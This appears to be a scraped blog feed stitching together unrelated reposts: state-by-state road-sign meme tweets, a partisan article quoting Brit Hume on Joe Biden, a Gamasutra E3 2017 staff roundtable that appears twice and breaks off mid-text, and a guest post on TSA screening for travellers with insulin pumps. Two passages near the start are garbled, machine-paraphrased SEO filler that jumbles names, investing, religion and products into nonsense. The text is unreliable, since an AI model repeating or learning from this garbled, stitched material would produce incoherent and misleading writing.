Driving in Vegas be like 🏰|🚘🚖 || | _______________ |🚘🚘 || | | INJURED | 🗼|🚔🚍🚧 | | IN A | |🚘🚘🚧 | | HOTEL???? | 🗽|🚖🚘 || | |—————————|

— A Nice Jewish Boy™️ (@xenemymind) February 12, 2019

driving in Indiana: 🌽| 🚧 | ____________ | 🚘 || | | JESUS IS | 🌽| || | | LORD | | 🚧 | ________________ 🌽| || | | PORN STORE | | || | | NEXT EXIT | 🌽| 🚧 |

— seven fursánias (@AdriOfTheDead) February 12, 2019

driving in Montana is like: 🤠 | || | ______________ 🐄 | 🚘 || | | METH, NOT | 🚜 | || | |EVEN ONCE | 🐄 | || | |——————|

— KP (@KatelynParmelee) February 13, 2019

driving in Pennsylvania is like: 🌽 | || | ______________ | 🚘 || | | YOU WILL | 🦌 | || | | MEET GOD | | || | |——————|

— midwest emo(tional norman) (@emonormie) February 12, 2019

driving in Houston is like: 🚖🚘 || 🚑 | _________. | 🚘 ||🔥🛰 | |SHEN YUN | |🚔🚍 || 🚒 | | | |🚘🚘 💃🏻 |————–––|

— when will a houston astro raw me (@rapgameDrCrane) February 12, 2019

*driving in Florida be like: 🐊 | || | ______________ | 🚘 || | | Your wife is hot | 🐊 | || | | Better get your | | || | | A/C fixed. |

— David (@DavidCanto_) February 12, 2019

Driving in Philly be like 💨|🚘🚖 || | _______________ |🚘🚘 || | | I HATE | 🏢|🚔🚍 || | | STEVEN | |🚘🚘 || | | SINGER! | 🏭|🚖🚘 || | |—————-—|

— Japanese BBQ Finger ♡ (@alllexdrago) February 12, 2019

driving through kansas be like: 🌾| || | _________________ 🌾| 🚘 || | | ABORTION IS | 🌾| || | | MURDER | 🌾| || | |___EAT BEEF ___| 🌾| || | | |

— rixanne (@fauxroxy) February 11, 2019

It's only a matter of time before this meme ends up on billboards.

WATCH: Ariana Grande's tattoo flub continues to get roasted in hilarious internet meme — All the Memes

[fletcherdealba-blog]

Strawman Why Is Your Label With All Financing Letters? I Just Make use of Caps For The.

You understand the sensation from kicking yourself for hrs after an interview due to the fact that you flubbed an answer or got the job interviewer's label wrong if you are actually talking to for projects. Certainly not every little thing visited wrong on Saturday for the Mountain ranges, presently in final area in the National Game's Western Division. This economical requirement accelerated the advancement from Belgian Blue livestock in an extra highly muscled instructions.

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A biography from The Blue Guy Team and also exactly how they've developed a niche for themselves regarding experimental (and experiential) popular music. However along with instruction as well as preparation, Blue passed the tests, and it is actually been awarding for each porker and also people. Kamani is actually Hawaiian, but inaccurate really isn't, to ensure needs to be an English popular title combining the Hawaiian name. Don't buy a domain name for which thecom extension is actually gone, but you possess access to thenet orinfo. Likewise, think of the labels that might dilate from your little one's first name.

[dontetracy52005-blog]

Xiaxue.blogspot.com.

I am a white american man. Therefore broad view, we look at this pointing out, video is absolutely exploding along with the leaders because video recording as Apple and various other firms perform a whole lot additional innovation on things as AR and VR, expanding our existing applications as well as constantly examining brand-new chances like our experts made with Task Felix to allow individuals to writer ph for those. Regrettable this early version from Bixby occasionally flubbed asks for and appeared prone to cross-talk - possessing a number of individuals chatting in the trial area caused meandering, mistaken commands considering that Bixby couldn't say to when to stop paying attention. For a limited time, new customers can nail down the initial fee for the life time of their membership as well as annual customers acquire a TWENTY% markdown. When an individual does not take into consideration Jesus Christ as the only method to The lord, that is actually. If you're considering getting a separation or even have actually recently embarked on the separation process, you likely have a great deal of questions swirling around in your scalp at this moment. Abstractly I took approximately a $6,500 come by my total assets over the final Thirty Days approximately. In every truth that is actually not too bad thinking about the market has actually come down a fair bit throughout that time period.

Ph considering that there is actually not perhaps a commonly kept idea yet in maybe some pockets of the financier neighborhood that as soon as you reached the full infiltration in Creative, whenever the time, this is actually 2018 or even 2019 that development will certainly slow down and also therefore Adobe is going to need to carry out something to always keep that development price. I stay in anxiety from possessing a "bathetic" presence where the days simply form of fused and our team float via lifestyle, milestoneless, traditionless. Therefore, I don't foresee that transforming, specifically as you watch out and our experts continue to drive development in both from those organisations. Obviously, the marketplace didn't liked this either as the stock some 30% in exchanging on Tuesday and also the supply is now trading under the designed offering rate. But before last weekend, the gal and I communicated by phone many times & I possessed a sense our team could possibly come to be pals. The College Area in Southern Africa shows its own wholehearted acknowledgements to Minister Larry Debryn's family, the Saints in the UNITED STATE on the handing down from our loved pastor from the God's group all over the planet. And since Team is actually finally (gosh, I wish I don't jinx on my own) snoozing throughout the day good, I believe that I really have some time to rest and create down my notions. 9) They discuss deeper relationships along with a few, yet additionally experience identification as well as devotion towards the whole entire human race. They typically don't acquire a good deal of appreciation coming from team or even clients, yet they are actually the best powerful person in Styl4U-Karolinablog.Pl the provider. Whether you are actually taking a trip for company, on a one-week family members holiday, or even have sold everything to seek a life when driving, journeying could make you a healthier person by developing self-confidence, supplying brand-new experiences as well as minds, damaging routine and allowing you to comply with people off around the world. Our team keep in mind that Axon must begin to splash the elevated cartridge purchases beginning this fourth (Q3 2017). As the partnership establishes the user can really swipe whole parts of power or even soul off the other person which is actually a giver.

[conservativefreepress]

New Post has been published on Conservative Free Press

New Post has been published on http://www.conservativefreepress.com/politics/fox-newss-brit-hume-on-joe-biden-he-is-getting-senile/

Fox News’s Brit Hume on Joe Biden: “He is Getting Senile”

In an interview with fellow Fox News host Tucker Carlson on Tuesday night, network political analyst Brit Hume said that there could no longer be any denying the obvious: Regardless of what you might think about Joe Biden, his policies, or his likability, the man is slipping when it comes to his mental faculties. Hume said that a series of gaffes and strange confrontations point to the fact that Biden, “like so many people his age, is losing his memory and is getting senile.”

Hume said his analysis wasn’t meant as an attack on the 77-year-old Biden but rather a simple confrontation with the truth.

“I don’t think there’s any doubt about this,” he said. “I have traces of this myself. I know what it feels like. Sometimes you’re confused, sometimes you can’t remember, ‘What are you supposed to do the next morning?’ — and I’m not running for president and it’s probably a good thing I’m not.”

The veteran news anchor said it was disingenuous for Biden’s supporters to wave away his recent stumbles by pointing to his long history of flubs.

“If you’ve known him long enough, you kind of get used to that and you think they’re kind of funny and they’re just part of who he is and they’re kind of harmless,” Hume acknowledged. “More recently, however, he’s begun to forget things. He didn’t know what state he’s in, he couldn’t remember where he was when he met the Parkland students, when he said he was in the White House.”

Hume then turned his attention to a bizarre confrontation between Biden and an auto worker in Michigan, where the Democratic frontrunner became agitated over his stance on the Second Amendment.

“I’ve known him a long time, and he can sometimes work himself up into kind of a passion in speeches and so on when he was arguing about issues and so on in a debate,” Hume said. “But I don’t remember him exploding at voters like he did in this incident today, and hurling profanity the way he did, telling the guy he was ‘full of spit,’ except he didn’t say ‘spit’. That’s something new.”

Hume said that with the nomination all but sewn up for Biden, it was only a matter of time before Democrat voters began realizing the fundamental underlying problems with their candidate.

“I think that over time, the danger for him and for his party is that he may say something that’s so outlandish and so suggestive that his cognitive faculties have failed him, that Democratic voters are going to say, ‘Oh, my Lord, what have we got here?’” Hume said. “Under the pressures of a campaign, who knows what will happen?”

[symbianosgames]

In recent years, the annual E3 trade show, has increasingly been overshadowed by the press conferences that precede it. Sony, Nintendo, and Microsoft have traditionally used the venue to crow about their sales and business successes, and unveil their latest offerings via live [or seemingly live] demos with game designers.

But that's all changing now. Boring corporate biz speak is now reserved for quarterly reports, and live demos are increasingly being supplanted by prerecorded material. Celebrities guests and superstar presenters are on the wane, and influencers from the esports and livestream scene are on the rise.

As we watched the press conferences this year, Gamasutra staff exchanged emails about what these changes might mean for developers. (You should also tune in for Gamasutra's Twitch livestream on Thursday at 3pm EDT, in which we'll discuss our reactions to the conference.)

Chris Baker (@chrisbaker1337), assignment editor: Hi everybody! I've put in my time at E3 over the years. I was there for Sony's stunningly successful PS4 unveiling in 2014, and the stunning debacle of the PS3 unveiling in 2006. I've seen surprise game reveals and surprise guest appearances. (Muhammad Ali! Paul and RIngo! Gaben!)

But this year, I watched the precedings from my couch, for the most part. (I saw the Microsoft press conference on my phone while I did laundry.) It seems clear that the nature and purpose of these events are shifting. The Microsoft press conference was chockablock with interesting games, but it was essentially a series of trailers and Let's Play videos.

I think there are a couple of things going on here. One, of course, is that there's less of an emphasis every year on the people in the room, and more of an emphasis on the global streaming audience. Two, I think there's an effort to limit banter and live demos, since every flub and glitch has the potential to be endlessly memed and GIFed. 

I'm writing this on Monday, morning, catching up on clips from the Bethesda conference that I missed. So far, I thought the Sea of Thieves demo at the Microsoft press conference was particularly interesting, firstly because there was a lot more graphics and a lot more game there than the last time we saw it, but also because it was presented as a sort of hybrid trailer and Let's Play, with a voiceover narration accompanying lengthy chunks of what looked like actual gameplay footage. Last year, they did a formal trailer and then a more Twitch-like gameplay reveal. I thought this year's fusion of the two was far more successful.

[embedded content] Sea of Thieves gameplay walkthrough

Bryant Francis (@RBryant2012), contributing editor: Sending this on Monday afternoon, caught up on all conferences except obviously Sony.

"I hope this means that developers get to spend less time on E3 vertical slices.

I agree with Chris that everyone seems to be following Sony’s lead from last year of trying to keep these things as trailer-focused as possible. Ubisoft’s the only developer to not greatly change their flow (dropping Aisha Tyler is notable I guess), but everyone seems to have caught the message that for marketing purposes, pre-recorded gameplay footage, or a chance to play the game on the floor, matters more than spokespeople or live gameplay, whether it’s a trailer or just a demo vehicle.

That sort of has to do with now, more than ever, these E3 conferences being “for the folks at home?” Now that they start a full four days before the expo itself (good lord) the purpose of these things isn’t to sell your game to intermediaries, it’s to sell them to the people who may go and pre-order them on the spot. I hope this means developers get to spend less time on “E3 vertical slices,” and I wonder if this makes journalists feel like they’re being edged out of the room. (Maybe that’s why they keep complaining about all the YouTubers?)

The PC game show, awkward as it can be sometimes, is turning into a surprising highlight for indie developers looking to make an impact on Steam. Finji’s managed to take the stage 2 years in a row now with interesting-looking games, and since there is a sit-down-and-talk factor, I wonder if it’s a way for game devs to start making a personal introduction to an interested audience. (Admittedly while someone is pitching Intel hardware 2 minutes later)

[embedded content] The charming Tunic, from Andrew Shouldice and Finji

Demo-wise, my two biggest hits came from the Ubisoft conference. First, the Mario/Rabbids game turning out to be an unexpected game genre was a great surprise, and as I think Alissa said on Twitter, it’s a shame that the game’s existence was leaked a while ago, otherwise seeing Shigeru Miyamoto come out on stage with Yves Guillemot would have made a bigger impact. And ironically, while everyone’s talking about ‘more gameplay, less cinematics’ at E3 this year, the Beyond Good & Evil 2 trailer absolutely rekindled my interest in that game. If you’re going to introduce your game with a CG trailer, it’s worth loading every inch of it with style and verve that’s going to make the gameplay worth waiting for.

Also while I’m at it I should say I’m super impressed with Microsoft’s announcement to take backwards compatibility all the way to the original Xbox. I’ll probably blather about this more on our livestream later this week, but I think the fact that the Xbox One X (oy) can now be sold as “it plays ALL Xbox games at their best quality” is a huge selling point for the device.

[embedded content] Beyond Good & Evil 2 announcement trailer

Alex Wawro (@awawro), news editor: My Dearest Friends,

It has been quiet here, of late. The shoutcasting has stopped. I write to you on Monday evening, not long after the latest dispatch from Sony, and I must say: E3 has changed. The lion's share of the excitement will be over soon, and after witnessing much of it from the comfort of my couch I have to say -- I like the change.

This year more than ever, it's clear that the big publishers are catching on to what many game devs already know so well: enthusiastic people (whether they be devs or YouTubers or Twitch streamers) are great vectors for advertising your game. So is PAX. And since nobody but Microsoft seems to have much of anything to talk about this year except games, it's not hugely surprising that Electronic Arts, Bethesda, Ubisoft, and Sony all stacked their E3 presentations with lots of trailers (Sony was basically back-to-back trailers, for the second year in a row) and gameplay videos.

"It's interesting that this year, indie devs had a presence at Microsoft's E3 event, but were basically absent from Sony's showcase. "

Sometimes those gameplay videos were live, sometimes they were pre-recorded, but most were introduced with minimal drama (no overwrought whinging about surveillance states, for example) and maximum enthusiasm. It was pure salesmanship, to be sure, but refreshingly open and earnest -- I noticed Ubisoft even took the time to flash a link to its online merch store multiple times throughout its show.

Microsoft stood apart a bit though, huh? I think that Xbox showcase reminds us what E3 has typically been: a place where publishers sell a vision of what they want to be in the year to come, replete with new hardware, new services, and new games from devs across the industry. 

Kris also mentioned something in chat that I didn't notice right away: It's sort of interesting that this year indie devs had a presence at Microsoft's E3 event (Tacoma, The Artful Escape, Ashen, etc) but were basically absent from Sony's showcase. 

That's a sharp turnabout from a few years back, when Sony made a show of embracing indie devs and promoting them as a core pillar of the PlayStation 4. Now that Sony has plenty of its own games to talk about, it looks like the company is a lot less interested in promoting indie devs on its stage. And if you're an indie dev, that doesn't seem like a great look.

Bryant Francis: Jumping in on Tuesday after the Nintendo and Sony streams.

What the heck happened to the indies at the Sony press conference last night? Has it been 48 hours yet? Do we need to file a missing persons report?

"A return to Metroid does give creedence to the theory that Nintendo isn’t as focused on the casual market anymore."

I don’t know if it’s just a case of the development cycles of Sony’s current games, but last night’s trailer reel + twitching bodyfest didn’t reveal a lot of new info about the direction of games on PlayStation. It’s possible this is one of those case where “E3 doesn’t matter the same way anymore so we’re saving these for PSX or something,” but this is the first year Sony didn’t seem to be banking on revealing a new game with an unknown release date.

I also heard from the floor that there was some confusion over why Knack 2 has been playable at the press events but didn’t show up in the press conference last night. Given our love for Sony hardware enthusiast Mark Cerny, I’m worried that game is getting hidden due to the intense online anger over the first game.

Nintendo continued the (4-days old) tradition of a short conference with a big focus today, and I admit to being extremely surprised by the revelation of Metroid Prime 4, which is being developed by a new team that’s not Retro Studios. But then a 2D Metroid Game was announced in the Treehouse session afterward?? Will 2018 (maybe 2019) be the year of Samus Aran? A return to Metroid does actually seem to be a nod to Kris’s ongoing theory that Nintendo isn’t going to deal much with the casual market anymore, since that was a series it seemed to push aside for a little while for its seeming lack of broad appeal.

(I will note another recurring trend at these conferences, which is re-announcements with more info of stuff that was very much public knowledge beforehand. Bethesda’s VR games, many of Sony’s games, Nintendo’s announcement about a ‘core’ Pokemon game for the Switch... all of this was previously announced. This conference just was where they got the marketing push.)

Kris Graft (@krisgraft), editor-in-chief: *APPEARS FROM THE BUSHES, GASPING FOR AIR. CLOTHES IN TATTERS*

Ok hey guys I’m here, I’m here. So while you all were doing laundry and watching people talk about teraflops from the comfort of your own homes, I was at E3 2017 living it. While I was there for the press conferences and pre-E3 meetings and events, I actually only stayed for the first full day of the proper expo, just so I could get a good handle on the sights – and smells – of an E3 that included 15,000 non-industry public guests. I’ll try to keep this reasonably succinct! (As a side note, this was my 11th E3.)

"Developers I spoke with noted how networking is especially difficult this year."

So, as far as the show itself, the biggest difference this year are the extra public fans wandering about. They’re easily spotted because their tags were bright yellow, and typically were the most loaded-down with free merch, sometimes wearing shirts that say “Awesome Gamer” or “Yeah, I was at E3 2017.” It’s super easy for me to get annoyed with E3 adding so many more people to an already crowded event with virtually no extra accommodations for that traffic, but…wait there is no “but.”

Really I’m not down on the fans. I am confused with what the ESA is doing here with this event. Developers I spoke with noted how networking is especially difficult this year, because you simply can’t assume that everybody is a “somebody,” and those “somebodies” are more difficult to connect with. E3’s been going this direction for years by lowering the barrier for press accreditation, though adding so many straight-up fans into the mix only exacerbates the issue.

E3 is trying to serve two masters here: Industry and fans. It wants to be “old” industry-centric E3, and it wants to be Comic-Con. I really wonder how many more game companies, especially after this year, might pull out of the show floor because they’re (further) questioning the value proposition of E3. It’s a tricky scenario. ESA needs to maintain and grow its event business, but it seems the growth it needs can only come from increasingly angling the event toward fans, and going head-to-head with large consumer-focused events like PAX. E3 2017 is a weird an awkward transition towards that.

E3 is very crowded [Image: GameRevolution]

Ok so I spent a lot of time talking about the event itself, so I’ll just give a quick rundown of some notable E3 things:

Sony: They’re pretty much done with highlighting indies, E3 2017 confirms. That said, PolyArc, a small studio made up of ex-triple-A devs, was included in Sony’s press conference. They’re making a really nice-looking VR game called Moss, starring a mouse.

[embedded content]PolyArc's Moss

Microsoft: Obviously their big thing is Xbox One X. Price is a bit high, value proposition is shaky, but I’m not sure where else console-makers (that aren’t Nintendo) can go. We’ll see how it goes this November.

Nintendo: Metroid Metroid Metroid. I’m just glad they didn’t forget about Metroid. Also wow at some of these Super Mario Odyssey hat-possession gifs.

Bethesda: Yeah, I’m playing through Wolfenstein: The New Order again.

[type2diabetestreatments-blog]

Navigating the Friendly Skies with Diabetes

New Post has been published on http://type2diabetestreatment.net/diabetes-mellitus/navigating-the-friendly-skies-with-diabetes/

Navigating the Friendly Skies with Diabetes

From now until the end of the year is the nuttiest time of year for traveling. And with stricter Transportation Security Administration (TSA) rules, shoe removals, the ban on liquids, and ever-longer lines, airport security is a whole new form of torture these days. It got even more complicated last year, when TSA announced they were rolling out more extensive security screenings, including the infamous backscatter machine, or for those who refused, very thorough pat-downs.

For those of us wearing insulin pumps, this can pose even bigger hiccups as we try to make our way through security with our dignity in tact. Kelly Kunik, a diabetes blogger based in Philadelphia, has been an outspoken advocate of the rights of PWDs, especially when traveling. As we approach the one-year mark of the new TSA rules, we wanted to hear from Kelly about what she's learned and what all of us PWDs can do to fare a little better as we hit the airport.

A Guest Post by Kelly Kunik

Airport travel today is nothing like the glamorous days portrayed in the series "Pan Am."

Nobody dresses up to go to the airport, there's no such thing as "elbow room" on the plane, and smoking has been banned for quite some time (which is actually a good thing).

As far as the "Coffee, tea, or me?" goes, not much is free on a flight, including the movies. Unless of course you're flying US AIR, which no longer shows any movies on domestic US Flights, regardless of how long you're actually in the air for.

Gone are the days when you could show up 20 minutes before take off, with your ticket and a smile.

Air travel in 2011 pretty much sucks, no matter how you slice it.

Look, I get the reasons behind airport security and I'm all for protecting our safety. But it's the half-assed way that airport security handles our "safety" that leaves much to be desired in regards to both our safety and our sanity, IMHO. They've made some unacceptable flubs in dealing with travelers with medical conditions in the last few years, no doubt — including confiscating insulin from a pregnant woman with diabetes.

Security lines have become ridiculously long, to the point that one might actually miss one's flight if one doesn't show up ridiculously early. And TSA doesn't really care how they handle your carry-on. Have I mentioned that security screeners dropped my laptop after they made me take it out of the shock-pocket last year at Philadelphia International? And then there's the whole insulin pump TSA "pat you up, pat you down" fiasco. Honestly, I've had more action during an airport pat-down than I have on a good second date!

You need to speak up and know your rights as person traveling with diabetes. My advice: Use your diabetes voice, know your rights well, and voice them accordingly.

I go a step further by using TSA's own words to my benefit. So should you.

According to TSA's most recent announcement, the agency has made various "updates" to their protocol and procedures for holiday travel. They've implemented something called "Risk Based Security Measures" designed to expedite screening:

• Disability Cards available for us to print out pre-arrival and hand to our screener. According to TSA, the cards don't actually exempt us from a pat down, but they may help prevent a more invasive one. Hmmmm, OK.

• Expedited Screening Program: this "pre-screening" pilot program is currently underway only for individuals traveling on Delta Airlines at Atlanta International and Detroit/Wayne County airports, and traveling American Airlines at Miami International and Dallas/Fort Worth International airports. Passengers are required to volunteer information about themselves prior to flying in order to expedite (potentially) the screening experience. TSA has plans to expand this program to McCarran International, Minneapolis St. Paul International and Los Angeles International airports in the coming months, though no exact date was given yet.

• Kids under 12 can keep their shoes on and have less evasive screenings.

• New Privacy Protection Software on all millimeter wave body scanner machines nationwide; they've been upgraded with new software, further enhancing privacy protections by eliminating the detailed image of a passenger body and replacing it with a "generic outline of a person."

To read more about these TSA and others in more detail, click here.

Now Regarding TSA and Insulin Pumps:

The TSA waters are still murky here. They won't officially comment on any incidents regarding people with diabetes and insulin pumps who may have experienced difficulties during a security screening. ADA lawyers, in an email to Amy that she shared with me, simply stated: "While TSA does not make public its internal policies on pumps, they have assured us that this policy has changed."

I have no idea why TSA won't comment publicly on insulin pumps. Lord knows enough of us wear them and are concerned about the way TSA handles them and the people who wear them! I think TSA needs to address the insulin pump issue head-on — like, yesterday!

Personally, it's been my experience that if you're wearing said insulin pump, you don't necessarily have to have a pat down or go through a X-ray.

WHY? Well, according to the TSA website: "You have the option of requesting a visual inspection of your insulin and diabetes associated supplies."

But (and there's always a but) you have to ask for a visual inspection "BEFORE THE SCREENING PROCESS BEGINS," or you're screwed.

And FYI, your insulin pump and tubing are considered diabetes supplies, just like your insulin, needles, test strips, and meter.

The TSA website goes onto state:

Medication and related supplies are normally X-rayed. However, as a customer service, TSA now allows you the option of requesting a visual inspection of your medication and associated supplies.

You must request a visual inspection before the screening process begins; otherwise your medications and supplies will undergo X-ray inspection.

If you would like to take advantage of this option, please have your medication and associated supplies separated from your other property in a separate pouch/bag when you approach the Security Officer at the walk-through metal detector.

In order to prevent contamination or damage to medication and associated supplies and/or fragile medical materials, you will be asked at the security checkpoint to display, handle, and repack your own medication and associated supplies during the visual inspection process.

Any medication and/or associated supplies that cannot be cleared visually must be submitted for X-ray screening. If you refuse, you will not be permitted to carry your medications and related supplies into the sterile area."

Now, the last bullet point mentions running your supplies through an X-ray, if said supplies cannot be cleared visually. But here's the thing, I know for a fact that my old Medtronic 512 can be cleared visually. And I know for a fact that they can and do swab insulin pumps with plastic parts for contamination. And I know that they take it a step further by swabbing your hands. And I'm OK with that, swab away!

If you're being given a hard time, state these facts, or even better, print out several copies of the regulations listed on their website beforehand, so you can give them their own copy. Just make sure to keep a copy for the return flight home.

Chances are, the person your talking to doesn't know all the rules and regulations regarding their own company. I've had instances where three different people working in the same TSA line have given me three different answers regarding my insulin pump, potential pat down and X-ray.

Also: if your pump is made with metal parts, take it off beforehand and give it to them — but be sure to ask for a visual inspection before the screening process begins! Push for the TSA worker to swab your hands for "dangerous residue" instead of automatically giving you a pat down/ full body scan X-ray. Hey, your insulin pump is no longer on your person. It's in their hands.

Nobody likes to flip their Diabetes Bitch Switch more than I do, but my advice is to keep your cool, state your facts and stay calm.

After all, these people are trying to do their job, and as person with diabetes, you're doing yours. Your job is to live your life healthfully and safely, but also with dignity. And in order to do that, you must protect you and your diabetes accoutrements.

BOTTOM LINE: As people with diabetes, we shouldn't be punished or treated unfairly because we have broken pancreases. Nor should any other person living with a medical issue/ medical device.

Know the laws and know your rights!

*If you have any issues at all with your TSA experience, let them know by calling the TSA Public Affairs office at: (571) 227-2829, emailing them at ODPO@tsa.dhs.gov or pinging them on Twitter at @TSAblogTeam.

Thanks, Kelly, for sharing these tips and your perspective on flying with diabetes. Safe travels, everyone!

Disclaimer: Content created by the Diabetes Mine team. For more details click here.

Disclaimer

This content is created for Diabetes Mine, a consumer health blog focused on the diabetes community. The content is not medically reviewed and doesn't adhere to Healthline's editorial guidelines. For more information about Healthline's partnership with Diabetes Mine, please click here.

Type 2 Diabetes Treatment Type 2 Diabetes Diet Diabetes Destroyer Reviews Original Article

[symbianosgames]

In recent years, the annual E3 trade show, has increasingly been overshadowed by the press conferences that precede it. Sony, Nintendo, and Microsoft have traditionally used the venue to crow about their sales and business successes, and unveil their latest offerings via live [or seemingly live] demos with game designers.

But that's all changing now. Boring corporate biz speak is now reserved for quarterly reports, and live demos are increasingly being supplanted by prerecorded material. Celebrities guests and superstar presenters are on the wane, and influencers from the esports and livestream scene are on the rise.

As we watched the press conferences this year, Gamasutra staff exchanged emails about what these changes might mean for developers. (You should also tune in for Gamasutra's Twitch livestream on Thursday at 3pm EDT, in which we'll discuss our reactions to the conference.)

Chris Baker (@chrisbaker1337), assignment editor: Hi everybody! I've put in my time at E3 over the years. I was there for Sony's stunningly successful PS4 unveiling in 2014, and the stunning debacle of the PS3 unveiling in 2006. I've seen surprise game reveals and surprise guest appearances. (Muhammad Ali! Paul and RIngo! Gaben!)

But this year, I watched the precedings from my couch, for the most part. (I saw the Microsoft press conference on my phone while I did laundry.) It seems clear that the nature and purpose of these events are shifting. The Microsoft press conference was chockablock with interesting games, but it was essentially a series of trailers and Let's Play videos.

I think there are a couple of things going on here. One, of course, is that there's less of an emphasis every year on the people in the room, and more of an emphasis on the global streaming audience. Two, I think there's an effort to limit banter and live demos, since every flub and glitch has the potential to be endlessly memed and GIFed. 

I'm writing this on Monday, morning, catching up on clips from the Bethesda conference that I missed. So far, I thought the Sea of Thieves demo at the Microsoft press conference was particularly interesting, firstly because there was a lot more graphics and a lot more game there than the last time we saw it, but also because it was presented as a sort of hybrid trailer and Let's Play, with a voiceover narration accompanying lengthy chunks of what looked like actual gameplay footage. Last year, they did a formal trailer and then a more Twitch-like gameplay reveal. I thought this year's fusion of the two was far more successful.

[embedded content] Sea of Thieves gameplay walkthrough

Bryant Francis (@RBryant2012), contributing editor: Sending this on Monday afternoon, caught up on all conferences except obviously Sony.

"I hope this means that developers get to spend less time on E3 vertical slices.

I agree with Chris that everyone seems to be following Sony’s lead from last year of trying to keep these things as trailer-focused as possible. Ubisoft’s the only developer to not greatly change their flow (dropping Aisha Tyler is notable I guess), but everyone seems to have caught the message that for marketing purposes, pre-recorded gameplay footage, or a chance to play the game on the floor, matters more than spokespeople or live gameplay, whether it’s a trailer or just a demo vehicle.

That sort of has to do with now, more than ever, these E3 conferences being “for the folks at home?” Now that they start a full four days before the expo itself (good lord) the purpose of these things isn’t to sell your game to intermediaries, it’s to sell them to the people who may go and pre-order them on the spot. I hope this means developers get to spend less time on “E3 vertical slices,” and I wonder if this makes journalists feel like they’re being edged out of the room. (Maybe that’s why they keep complaining about all the YouTubers?)

The PC game show, awkward as it can be sometimes, is turning into a surprising highlight for indie developers looking to make an impact on Steam. Finji’s managed to take the stage 2 years in a row now with interesting-looking games, and since there is a sit-down-and-talk factor, I wonder if it’s a way for game devs to start making a personal introduction to an interested audience. (Admittedly while someone is pitching Intel hardware 2 minutes later)

[embedded content] The charming Tunic, from Andrew Shouldice and Finji

Demo-wise, my two biggest hits came from the Ubisoft conference. First, the Mario/Rabbids game turning out to be an unexpected game genre was a great surprise, and as I think Alissa said on Twitter, it’s a shame that the game’s existence was leaked a while ago, otherwise seeing Shigeru Miyamoto come out on stage with Yves Guillemot would have made a bigger impact. And ironically, while everyone’s talking about ‘more gameplay, less cinematics’ at E3 this year, the Beyond Good & Evil 2 trailer absolutely rekindled my interest in that game. If you’re going to introduce your game with a CG trailer, it’s worth loading every inch of it with style and verve that’s going to make the gameplay worth waiting for.

Also while I’m at it I should say I’m super impressed with Microsoft’s announcement to take backwards compatibility all the way to the original Xbox. I’ll probably blather about this more on our livestream later this week, but I think the fact that the Xbox One X (oy) can now be sold as “it plays ALL Xbox games at their best quality” is a huge selling point for the device.

[embedded content] Beyond Good & Evil 2 announcement trailer

Alex Wawro (@awawro), news editor: My Dearest Friends,

It has been quiet here, of late. The shoutcasting has stopped. I write to you on Monday evening, not long after the latest dispatch from Sony, and I must say: E3 has changed. The lion's share of the excitement will be over soon, and after witnessing much of it from the comfort of my couch I have to say -- I like the change.

This year more than ever, it's clear that the big publishers are catching on to what many game devs already know so well: enthusiastic people (whether they be devs or YouTubers or Twitch streamers) are great vectors for advertising your game. So is PAX. And since nobody but Microsoft seems to have much of anything to talk about this year except games, it's not hugely surprising that Electronic Arts, Bethesda, Ubisoft, and Sony all stacked their E3 presentations with lots of trailers (Sony was basically back-to-back trailers, for the second year in a row) and gameplay videos.

"It's interesting that this year, indie devs had a presence at Microsoft's E3 event, but were basically absent from Sony's showcase. "

Sometimes those gameplay videos were live, sometimes they were pre-recorded, but most were introduced with minimal drama (no overwrought whinging about surveillance states, for example) and maximum enthusiasm. It was pure salesmanship, to be sure, but refreshingly open and earnest -- I noticed Ubisoft even took the time to flash a link to its online merch store multiple times throughout its show.

Microsoft stood apart a bit though, huh? I think that Xbox showcase reminds us what E3 has typically been: a place where publishers sell a vision of what they want to be in the year to come, replete with new hardware, new services, and new games from devs across the industry. 

Kris also mentioned something in chat that I didn't notice right away: It's sort of interesting that this year indie devs had a presence at Microsoft's E3 event (Tacoma, The Artful Escape, Ashen, etc) but were basically absent from Sony's showcase. 

That's a sharp turnabout from a few years back, when Sony made a show of embracing indie devs and promoting them as a core pillar of the PlayStation 4. Now that Sony has plenty of its own games to talk about, it looks like the company is a lot less interested in promoting indie devs on its stage. And if you're an indie dev, that doesn't seem like a great look.

Bryant Francis: Jumping in on Tuesday after the Nintendo and Sony streams.

What the heck happened to the indies at the Sony press conference last night? Has it been 48 hours yet? Do we need to file a missing persons report?

"A return to Metroid does give creedence to the theory that Nintendo isn’t as focused on the casual market anymore."

I don’t know if it’s just a case of the development cycles of Sony’s current games, but last night’s trailer reel + twitching bodyfest didn’t reveal a lot of new info about the direction of games on PlayStation. It’s possible this is one of those case where “E3 doesn’t matter the same way anymore so we’re saving these for PSX or something,” but this is the first year Sony didn’t seem to be banking on revealing a new game with an unknown release date.

I also heard from the floor that there was some confusion over why Knack 2 has been playable at the press events but didn’t show up in the press conference last night. Given our love for Sony hardware enthusiast Mark Cerny, I’m worried that game is getting hidden due to the intense online anger over the first game.

Nintendo continued the (4-days old) tradition of a short conference with a big focus today, and I admit to being extremely surprised by the revelation of Metroid Prime 4, which is being developed by a new team that’s not Retro Studios. But then a 2D Metroid Game was announced in the Treehouse session afterward?? Will 2018 (maybe 2019) be the year of Samus Aran? A return to Metroid does actually seem to be a nod to Kris’s ongoing theory that Nintendo isn’t going to deal much with the casual market anymore, since that was a series it seemed to push aside for a little while for its seeming lack of broad appeal.

(I will note another recurring trend at these conferences, which is re-announcements with more info of stuff that was very much public knowledge beforehand. Bethesda’s VR games, many of Sony’s games, Nintendo’s announcement about a ‘core’ Pokemon game for the Switch... all of this was previously announced. This conference just was where they got the marketing push.)

Kris Graft (@krisgraft), editor-in-chief: *APPEARS FROM THE BUSHES, GASPING FOR AIR. CLOTHES IN TATTERS*

Ok hey guys I’m here, I’m here. So while you all were doing laundry and watching people talk about teraflops from the comfort of your own homes, I was at E3 2017 living it. While I was there for the press conferences and pre-E3 meetings and events, I actually only stayed for the first full day of the proper expo, just so I could get a good handle on the sights – and smells – of an E3 that included 15,000 non-industry public guests. I’ll try to keep this reasonably succinct! (As a side note, this was my 11th E3.)

"Developers I spoke with noted how networking is especially difficult this year."

So, as far as the show itself, the biggest difference this year are the extra public fans wandering about. They’re easily spotted because their tags were bright yellow, and typically were the most loaded-down with free merch, sometimes wearing shirts that say “Awesome Gamer” or “Yeah, I was at E3 2017.” It’s super easy for me to get annoyed with E3 adding so many more people to an already crowded event with virtually no extra accommodations for that traffic, but…wait there is no “but.”

